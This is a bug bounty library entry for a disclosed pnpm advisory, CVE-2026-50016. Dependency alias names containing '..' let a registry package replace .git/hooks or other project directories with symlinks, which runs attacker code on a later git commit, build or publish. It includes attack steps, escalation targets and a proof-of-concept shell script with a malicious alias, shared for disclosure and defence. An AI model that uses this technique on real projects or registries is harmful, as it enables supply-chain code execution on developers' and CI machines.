# pnpm: Transitive dependency alias path traversal allows project path override via symlink replacement

pnpm joins transitive dependency alias names into filesystem paths without rejecting '..', letting a registry package symlink-replace .git/hooks and run code on next git commit.

- Payout: Research
- Severity: high
- Program: pnpm
- Found by: aszx87410
- Disclosed: 2026-06-26
- CVE: CVE-2026-50016
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-hwx4-2j3j-g496
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-hwx4-2j3j-g496
- Tags: area:oss domain:oss impact:integrity impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:path-traversal vuln:rce

**Target:** pnpm package manager dependency linking / node_modules symlink creation
**Root cause:** pnpm preserves dependency alias names from registry package metadata and passes them as path components into dependency linking, joining them with the destination node_modules dir and creating symlinks without rejecting '..' segments or verifying the normalized path stays inside node_modules.
**Steps:**
1. Publish a package `payload-hooks` containing an executable `pre-commit` bin that prints PWNED.
2. Publish `bad@1.0.0` whose dependencies include `"@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"`.
3. Publish `normal@1.0.0` depending on `bad@1.0.0`.
4. In a git-initialized victim project, run `pnpm install normal@1.0.0 --ignore-scripts`.
5. pnpm normalizes `path.join(node_modules, "@x/../../../../../.git/hooks")` to the project's `.git/hooks` and symlinks it to the payload-hooks package dir.
6. Run `git commit`; the attacker's `pre-commit` hook executes and prints PWNED.
**How found:** Reporter reasoned that pnpm trusts alias names from registry metadata as path components during linking; hypothesized that a `..`-laden alias would escape node_modules when joined and symlinked, then built a local registry PoC to confirm .git/hooks replacement under --ignore-scripts.
**Exploitation:** Attacker publishes a normal-looking registry package whose transitive dependency uses an `npm:` alias with traversal segments. Victim installs with --ignore-scripts expecting no code execution; pnpm symlinks the escaped path (.git/hooks, .husky, scripts/, .github/actions, dist/, node_modules/.bin) to the attacker package directory. Payload runs when the victim or CI later runs git commit, pnpm test/build, a local GitHub Action, or pnpm publish.
**Escalation:** Same primitive generalizes beyond .git/hooks to any project-local directory consumed by later tooling (husky/githooks, scripts, bin, tests, .github/actions, dist before publish, node_modules/.bin), turning install-time symlink replacement into arbitrary later code execution or poisoned publish artifacts.
**Insight:** Package-manager alias/dependency names from registry metadata are attacker-controlled path fragments; test whether they are normalized and containment-checked before being joined into install-time filesystem operations, especially symlink targets outside node_modules.

## Proof of concept (copied exactly from the original report)

**Malicious transitive alias with path traversal**

````
{
  "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

is eventually treated like:

path.join(parentPackageNodeModulesDir, "@x/../../../../../.git/hooks")

The normalized destination escapes the dependency's `node_modules` directory and lands at the victim project's `.git/hooks` path. pnpm then creates a symlink at that escaped destination to the resolved `payload-hooks` package directory.

The dependency chain is:

victim installs normal@1.0.0
normal@1.0.0 -> bad@1.0.0
bad@1.0.0 -> payload-hooks@1.0.0 through a traversal alias

The malicious transitive package metadata contains:

{
  "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
}

Because this uses an `npm:` registry alias, it does not rely on a transitive `file:` or `link:` dependency.

## Proof Of Concept

Run:

./run.sh

``` sh
#!/bin/sh
set -eu

SCRIPT_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
WORKDIR="$SCRIPT_DIR/demo-workdir"
REGISTRY_DIR="$WORKDIR/registry"
TARBALLS_DIR="$REGISTRY_DIR/tarballs"
VICTIM_DIR="$WORKDIR/victim"
READY_FILE="$WORKDIR/registry-ready"
PORT_FILE="$WORKDIR/registry-port"

rm -rf "$WORKDIR"
mkdir -p "$REGISTRY_DIR/payload-hooks" "$REGISTRY_DIR/bad" "$REGISTRY_DIR/normal" "$TARBALLS_DIR" "$VICTIM_DIR"

cat > "$REGISTRY_DIR/payload-hooks/package.json" <<'JSON'
{
  "name": "payload-hooks",
  "version": "1.0.0",
  "bin": {
    "pre-commit": "pre-commit"
  },
  "files": [
    "pre-commit"
  ]
}
JSON

cat > "$REGISTRY_DIR/payload-hooks/pre-commit" <<'EOF'
#!/bin/sh
echo PWNED >&2
exit 0
EOF
chmod +x "$REGISTRY_DIR/payload-hooks/pre-commit"

cat > "$REGISTRY_DIR/bad/package.json" <<'JSON'
{
  "name": "bad",
  "version": "1.0.0",
  "description": "transitive registry package",
  "dependencies": {
    "@x/../../../../../.git/hooks": "npm:payload-hooks@1.0.0"
  }
}
````

**PoC run.sh install and git commit trigger**

```
pnpm install normal@1.0.0 --ignore-scripts --config.confirmModulesPurge=false --reporter=silent

echo 'trigger commit' > change.txt
git add change.txt

set +e
COMMIT_STDERR=$(git commit -m 'trigger pre-commit' 2>&1 >/dev/null)
COMMIT_STATUS=$?
set -e

printf '\ngit commit exit code: %s\n' "$COMMIT_STATUS"
printf 'git commit stderr:\n%s\n' "$COMMIT_STDERR"
```

